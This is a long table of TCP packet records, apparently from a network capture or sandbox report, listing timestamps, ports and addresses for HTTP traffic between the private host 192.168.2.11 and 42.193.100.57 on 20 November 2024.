Nov 20, 2024 09:14:55.899941921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899945974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899960995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.899991035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.899991035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900047064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900537968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900549889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900559902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900571108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900624037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900624037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900677919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900688887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900700092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900711060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900722027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900726080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900736094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900747061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900757074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900760889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900760889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900768042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900779009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900789976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900795937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900800943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900819063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900830030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900834084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900834084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900840998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900851965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900863886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.900873899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900873899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.900923014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901000023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901010990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901113987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901221037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901276112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901365042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901382923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901393890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901411057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901421070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901432037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901436090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901449919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901458979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901462078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901473045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901483059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901489973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901494026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901520014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901530981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901537895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901550055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901560068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901571989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901590109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901627064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901653051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901664972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901675940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901695013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901705980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901715040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901727915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901727915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901731014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901742935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901752949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901765108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.901774883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901774883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.901818991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902014971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902025938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902036905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902048111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902057886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902071953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902076006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902112961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902128935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902195930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902209044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902220964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902234077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902247906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902247906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902247906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902261972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902266026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902275085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902285099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902296066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902306080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902314901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902317047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902328968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902342081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.902357101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902357101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.902383089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.985836029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.985850096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.985933065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.986897945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.986911058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987004042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987035990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987056017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987109900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987224102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987236977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987270117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987282991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987293005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987298012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987298012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987309933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987322092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987335920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987371922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987396955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987407923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987417936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987428904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987440109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987451077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987453938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987453938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987494946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987494946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987539053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987550020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987560034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987592936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987592936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987740993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987751961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987762928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987773895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987783909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987795115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987795115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987821102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987904072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987915039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987926960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987937927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987947941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987958908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987968922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.987976074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.987976074 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988013029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988013029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988060951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988073111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988082886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988094091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988127947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988127947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988241911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988254070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988265038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988286018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988328934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988429070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988440990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988451958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988464117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988475084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988486052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988497019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988502026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988502026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988508940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988521099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988523960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988563061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988563061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988734007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988744974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988771915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988782883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988796949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988817930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988817930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988833904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988890886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988903999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.988951921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.988951921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.139209986 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144058943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144076109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144093037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144107103 CET	80	49703	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144138098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144196987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144212961 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144253969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144285917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144299984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144301891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144345045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144345045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144345045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144360065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144380093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144382000 CET	49703	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144382000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144392967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144409895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144409895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144435883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144510984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144531012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144541979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144551992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144562960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144572020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144572020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144587040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144601107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144606113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144612074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144622087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144628048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144633055 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144644976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144656897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144669056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144669056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144727945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144747019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144766092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144778013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144788980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144799948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144810915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144819021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144826889 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144834995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144836903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144846916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144860029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144879103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144879103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144900084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144911051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144917965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144923925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144937992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144938946 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144953012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144964933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.144968987 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144983053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.144984961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145049095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145060062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145066023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145081997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145098925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145109892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145118952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145119905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145118952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145133018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145144939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145172119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145172119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145175934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145188093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145190001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145199060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145210028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145220995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145226955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145229101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145240068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145278931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145279884 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145292044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145302057 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145303965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145318031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145323992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145342112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145371914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145411015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145421982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145433903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145454884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145457983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145467043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145478010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145488977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145499945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145509958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145509958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145529032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145555019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145607948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145618916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145629883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145639896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145652056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145662069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145668983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145674944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145692110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145694971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145703077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145710945 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145740986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145740986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145755053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145855904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145865917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145876884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145886898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145898104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145906925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145910978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145910978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145926952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:56.145927906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145941019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145951986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145962954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:56.145965099 CET	49701	80	192.168.2.11	42.193.100.57
